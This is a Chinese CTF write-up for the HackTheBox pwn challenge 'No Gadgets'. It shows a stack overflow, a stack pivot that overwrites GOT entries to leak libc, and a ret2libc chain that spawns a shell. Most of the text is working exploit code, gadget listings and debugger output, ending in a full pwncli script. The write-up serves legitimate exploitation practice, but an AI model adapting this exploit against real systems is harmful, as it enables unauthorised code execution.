前言
这是一个简单的栈溢出,但是没有gadgets,导致不得不进行栈迁移布局栈空间
每日一题计划:督促自己练习,每日分享一题的练习!想一起刷题咱们可以一起练练练,以及,相互监督!
今天是第11天,标题不再强调是第几次了,还是老老实实这样比较好感觉
题目情况
In a world of mass shortages, even gadgets have gone missing. The remaining ones are protected by the gloating MEGAMIND, a once-sentient AI trapped in what remains of the NSA's nuclear bunker. Retrieving these gadgets is a top priority, but by no means easy. Much rests on what you can get done here, hacker. One could say too much.
难度:Medium
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
无PIE,无Canary,无FULL RELRO
逆向分析
main函数就这几行:
int __fastcall main(int argc, const char **argv, const char **envp)
{
char s[128]; // [rsp+0h] [rbp-80h] BYREF
setup(argc, argv, envp);
puts(::s);
puts("Welcome to No Gadgets, the ropping experience with absolutely no gadgets!");
printf("Data: ");
fgets(s, 0x1337, stdin); // 故意的栈溢出
if ( strlen(s) > 0x80 ) // 但是自己写了个溢出检测
{
puts("Woah buddy, you've entered so much data that you've reached the point of no return!");
exit(1);
}
puts("Pathetic, 'tis but a scratch!");
return 0;
}
有一个栈溢出是故意的,还有个自己写的溢出检测
利用分析
和题目描述一样,真的没有 Gadgets:
challenge ➤ ROPgadget --binary no_gadgets
Gadgets information
============================================================
0x0000000000401077 : add al, 0 ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401057 : add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x401020
0x00000000004010eb : add bh, bh ; loopne 0x401155 ; nop ; ret
0x0000000000401037 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401270 : add byte ptr [rax], al ; add byte ptr [rax], al ; leave ; ret
0x00000000004010b8 : add byte ptr [rax], al ; add byte ptr [rax], al ; nop dword ptr [rax] ; ret
0x0000000000401271 : add byte ptr [rax], al ; add cl, cl ; ret
0x000000000040115a : add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401039 : add byte ptr [rax], al ; jmp 0x401020
0x0000000000401272 : add byte ptr [rax], al ; leave ; ret
0x00000000004010ba : add byte ptr [rax], al ; nop dword ptr [rax] ; ret
0x0000000000401034 : add byte ptr [rax], al ; push 0 ; jmp 0x401020
0x0000000000401044 : add byte ptr [rax], al ; push 1 ; jmp 0x401020
0x0000000000401054 : add byte ptr [rax], al ; push 2 ; jmp 0x401020
0x0000000000401064 : add byte ptr [rax], al ; push 3 ; jmp 0x401020
0x0000000000401074 : add byte ptr [rax], al ; push 4 ; jmp 0x401020
0x0000000000401084 : add byte ptr [rax], al ; push 5 ; jmp 0x401020
0x0000000000401009 : add byte ptr [rax], al ; test rax, rax ; je 0x401012 ; call rax
0x000000000040115b : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000401273 : add cl, cl ; ret
0x00000000004010ea : add dil, dil ; loopne 0x401155 ; nop ; ret
0x0000000000401047 : add dword ptr [rax], eax ; add byte ptr [rax], al ; jmp 0x401020
0x000000000040115c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401157 : add eax, 0x2f0b ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401067 : add eax, dword ptr [rax] ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401013 : add esp, 8 ; ret
0x0000000000401012 : add rsp, 8 ; ret
0x00000000004011d3 : call qword ptr [rax + 0x4855c35d]
0x0000000000401010 : call rax
0x0000000000401173 : cli ; jmp 0x401100
0x0000000000401170 : endbr64 ; jmp 0x401100
0x000000000040100e : je 0x401012 ; call rax
0x00000000004010e5 : je 0x4010f0 ; mov edi, 0x404040 ; jmp rax
0x0000000000401127 : je 0x401130 ; mov edi, 0x404040 ; jmp rax
0x000000000040103b : jmp 0x401020
0x0000000000401174 : jmp 0x401100
0x00000000004010ec : jmp rax
0x0000000000401274 : leave ; ret
0x00000000004010ed : loopne 0x401155 ; nop ; ret
0x0000000000401156 : mov byte ptr [rip + 0x2f0b], 1 ; pop rbp ; ret
0x0000000000401062 : mov dl, 0x2f ; add byte ptr [rax], al ; push 3 ; jmp 0x401020
0x000000000040126f : mov eax, 0 ; leave ; ret
0x00000000004010e7 : mov edi, 0x404040 ; jmp rax
0x0000000000401052 : mov edx, 0x6800002f ; add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401082 : movabs byte ptr [0x56800002f], al ; jmp 0x401020
0x00000000004011d4 : nop ; pop rbp ; ret
0x00000000004010ef : nop ; ret
0x000000000040116c : nop dword ptr [rax] ; endbr64 ; jmp 0x401100
0x00000000004010bc : nop dword ptr [rax] ; ret
0x00000000004010e6 : or dword ptr [rdi + 0x404040], edi ; jmp rax
0x0000000000401158 : or ebp, dword ptr [rdi] ; add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x000000000040115d : pop rbp ; ret
0x0000000000401036 : push 0 ; jmp 0x401020
0x0000000000401046 : push 1 ; jmp 0x401020
0x0000000000401056 : push 2 ; jmp 0x401020
0x0000000000401066 : push 3 ; jmp 0x401020
0x0000000000401076 : push 4 ; jmp 0x401020
0x0000000000401086 : push 5 ; jmp 0x401020
0x0000000000401016 : ret
0x0000000000401042 : ret 0x2f
0x0000000000401022 : retf 0x2f
0x000000000040100d : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x0000000000401279 : sub esp, 8 ; add rsp, 8 ; ret
0x0000000000401278 : sub rsp, 8 ; add rsp, 8 ; ret
0x000000000040100c : test eax, eax ; je 0x401012 ; call rax
0x00000000004010e3 : test eax, eax ; je 0x4010f0 ; mov edi, 0x404040 ; jmp rax
0x0000000000401125 : test eax, eax ; je 0x401130 ; mov edi, 0x404040 ; jmp rax
0x000000000040100b : test rax, rax ; je 0x401012 ; call rax
challenge ➤ ROPgadget --binary no_gadgets --only "pop|ret"
Gadgets information
============================================================
0x000000000040115d : pop rbp ; ret
0x0000000000401016 : ret
0x0000000000401042 : ret 0x2f
Unique gadgets found: 3
程序不存在syscall指令,程序编译于2.35版本,不存在csu函数,没法利用其中的gadgets来给寄存器赋值
更没有pop rdi这样的函数来执行经典的ret2plt去puts(got.puts)泄露地址
唯一存在用处的gadgets是leave ret,leave ret能连续执行2次就会把rbp迁移到rsp上
执行溢出的时候,rbp是可控的,那么应该返回到哪里呢?回到程序中观察rbp使用的地方:
0x0000000000401222 <+75>: lea rax,[rbp-0x80]
0x0000000000401226 <+79>: mov esi,0x1337
0x000000000040122b <+84>: mov rdi,rax
0x000000000040122e <+87>: call 0x401060 <fgets@plt>
0x0000000000401233 <+92>: lea rax,[rbp-0x80]
0x0000000000401237 <+96>: mov rdi,rax
=> 0x000000000040123a <+99>: call 0x401040 <strlen@plt>
0x000000000040123f <+104>: cmp rax,0x80
0x0000000000401245 <+110>: jbe 0x401260 <main+137>
0x0000000000401247 <+112>: lea rax,[rip+0x135a] # 0x4025a8
0x000000000040124e <+119>: mov rdi,rax
0x0000000000401251 <+122>: call 0x401030 <puts@plt>
0x0000000000401256 <+127>: mov edi,0x1
0x000000000040125b <+132>: call 0x401080 <exit@plt>
0x0000000000401260 <+137>: lea rax,[rip+0x1395] # 0x4025fc
0x0000000000401267 <+144>: mov rdi,rax
0x000000000040126a <+147>: call 0x401030 <puts@plt>
0x000000000040126f <+152>: mov eax,0x0
0x0000000000401274 <+157>: leave
0x0000000000401275 <+158>: ret
这里是rbp第一次被使用的地方,fgets
可控rbp意味着可以完成一次任意地址写入!
能进行任意地址写入的话,就可以覆盖got表项,劫持函数,能劫持的有puts,exit,strlen函数
这三个函数,只有strlen参数的内容可控
既然要改got表,那大概对其进行strlen能够泄露出libc地址
有了libc泄露,那就直接打ret2libc了
Stack Pivot
fgets的目标是rbp-0x80的值
got表:
pwndbg> got
Filtering out read-only entries (display them with -r or --show-readonly)
State of the GOT of /mnt/d/Misc/CTF/HTB/pwn/No Gadgets/pwn_no_gadgets/challenge/no_gadgets:
GOT protection: Partial RELRO | Found 6 GOT entries passing the filter
[0x404000] puts@GLIBC_2.2.5 -> 0x7f9885c68ed0 (puts) ◂— endbr64
[0x404008] strlen@GLIBC_2.2.5 -> 0x7f9885d85960 ◂— endbr64
[0x404010] printf@GLIBC_2.2.5 -> 0x7f9885c48770 (printf) ◂— endbr64
[0x404018] fgets@GLIBC_2.2.5 -> 0x7f9885c67400 (fgets) ◂— endbr64
[0x404020] setvbuf@GLIBC_2.2.5 -> 0x7f9885c69670 (setvbuf) ◂— endbr64
[0x404028] exit@GLIBC_2.2.5 -> 0x401086 (exit@plt+6) ◂— push 5
调整rbp,让fgets从strlen那里开始写入,一次性覆盖了strlen和printf
pwndbg> x/100xga 0x404008
0x404008 <strlen@got[plt]>: 0x7f9885d85960 0x7f9885c48770 <printf>
0x404018 <fgets@got[plt]>: 0x7f9885c67400 <fgets> 0x7f9885c69670 <setvbuf>
0x404028 <exit@got[plt]>: 0x401086 <exit@plt+6> 0x0
0x404038: 0x0 0x7f9885e02780 <_IO_2_1_stdout_>
0x404048: 0x0 0x7f9885e01aa0 <_IO_2_1_stdin_>
0x404058: 0x0 0x7f9885e026a0 <_IO_2_1_stderr_>
0x404068 <completed>: 0x0 0x0
0x404078: 0x0 0x0
0x404088: 0x0 0x0
0x404098: 0x0 0x0
0x4040a8: 0x0 0x0
0x4040b8: 0x0 0x0
0x4040c8: 0x0 0x0
要泄露出libc地址,需要修改got.strlen为plt.puts,也就是缓冲区指向了got表,这样调用strlen的时候,就会打印出got的地址,从而拿到libc地址
但是,后面的IO指针不能修改,修改了会导致后续无法调用gets
如果不覆盖后面的IO指针,那就没办法覆盖返回地址,程序自此失去控制
所以要先栈迁移去0x404080这里,提前布局后续栈迁移修改got时候的rsp
# 1. prepare the stack FengShui
main_ = 0x00000000040121b
rbp = elf.got.puts + 0x80 + 0x80
payload = b"\x00"*0x80 + pack(rbp) + pack(main_)
sla(b"Data: ",payload)
# 2. stack pivot
rbp = elf.got.puts + 0x80
payload = flat(
pack(elf.got.puts + 0x80 + 0x80) , pack(pop_rbp_ret) + pack(elf.got.puts + 0xf00-8) + pack(leave_ret) + pack(leave_ret)
,filler=b"\x00",length=0x80)+ pack(rbp) +\
pack(pop_rbp_ret) + pack(elf.got.puts + 0xf00-8) + pack(leave_ret) + pack(leave_ret) + b"\x00"*(0xf00 - 0x80 - 0xa8) +\
pack(pop_rbp_ret) + pack(rbp) + pack(main_)
sl(payload)
至于这里的2部分为什么这么复杂,先往下看,后面介绍
leak libc address
提前布局好了0x408080开始的rbp和返回地址,之后,就可以修改rbp到got表开头开始劫持函数了
# 3. edit the got leak libc
payload = flat(
pack(elf.plt.puts + 6)*2,
pack(elf.plt.puts + 6),
pack(elf.plt.fgets + 6),
pack(elf.plt.setvbuf + 6),
pack(elf.plt.exit + 6),
)
sl(payload)
leak = ru(b"\x7f\x0a")[-7:-1]
leak = unpack(leak,"all")
success("leak libc: " + hex(leak))
libc.address = leak - libc.sym.puts
success("libc base address: " + hex(libc.address))
泄露操作很好理解,elf.plt.puts+6,意味着让会重新解析函数地址,而这个操作会向got表里填写解析后的地址
调用完fgets之后,调用strlen,但是劫持成了puts,puts完成解析后,在got写入解析后的地址,而缓冲区刚好位于此时got表puts的地址
所以直接就打印出来了
这里有个问题就是,解析函数这个操作会需要用到足够大的栈空间,之前栈迁移部分,将栈迁移到了0x404f00的地方,来规避后续操作使用栈空间影响到got表以及IO指针;同时还要布局好之后的返回地址,flat部分就是对后续返回地址rop的构造,flat之后的内容,就是栈迁移的部分
ret2libc
一切顺利的话,最后会执行到main函数,然后此时有了libc地址,只需要正常的ret2libc即可拿到shell
# 4. ret2system
rop = ROP([elf,libc])
rop.raw(rop.ret)
rop.system(next(libc.search(b"/bin/sh")))
payload = b"\x00"*0x88 + rop.chain()
sl(payload)
完整exp
#!/usr/bin/env python3
# Date: 2024-11-01 13:25:28
# Link: https://github.com/RoderickChan/pwncli
# Usage:
# Debug : python3 exp.py debug elf-file-path -t -b malloc
# Remote: python3 exp.py remote elf-file-path ip:port
from pwncli import *
cli_script()
set_remote_libc('libc.so.6')
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
# 0x000000000040115d : pop rbp ; ret
pop_rbp_ret = 0x000000000040115d
# 0x0000000000401274 : leave ; ret
leave_ret = 0x0000000000401274
# 1. prepare the stack FengShui
main_ = 0x00000000040121b
rbp = elf.got.puts + 0x80 + 0x80
payload = b"\x00"*0x80 + pack(rbp) + pack(main_)
sla(b"Data: ",payload)
# 2. stack pivot
rbp = elf.got.puts + 0x80
payload = flat(
pack(elf.got.puts + 0x80 + 0x80) , pack(pop_rbp_ret) + pack(elf.got.puts + 0xf00-8) + pack(leave_ret) + pack(leave_ret)
,filler=b"\x00",length=0x80)+ pack(rbp) +\
pack(pop_rbp_ret) + pack(elf.got.puts + 0xf00-8) + pack(leave_ret) + pack(leave_ret) + b"\x00"*(0xf00 - 0x80 - 0xa8) +\
pack(pop_rbp_ret) + pack(rbp) + pack(main_)
sl(payload)
# 3. edit the got leak libc
payload = flat(
pack(elf.plt.puts + 6)*2,
pack(elf.plt.puts + 6),
pack(elf.plt.fgets + 6),
pack(elf.plt.setvbuf + 6),
pack(elf.plt.exit + 6),
)
sl(payload)
leak = ru(b"\x7f\x0a")[-7:-1]
leak = unpack(leak,"all")
success("leak libc: " + hex(leak))
libc.address = leak - libc.sym.puts
success("libc base address: " + hex(libc.address))
# 4. ret2system
rop = ROP([elf,libc])
rop.raw(rop.ret)
rop.system(next(libc.search(b"/bin/sh")))
payload = b"\x00"*0x88 + rop.chain()
sl(payload)
ia()
总结
栈溢出,栈迁移
要注意程序中寄存器的使用,可能可以在rop中复用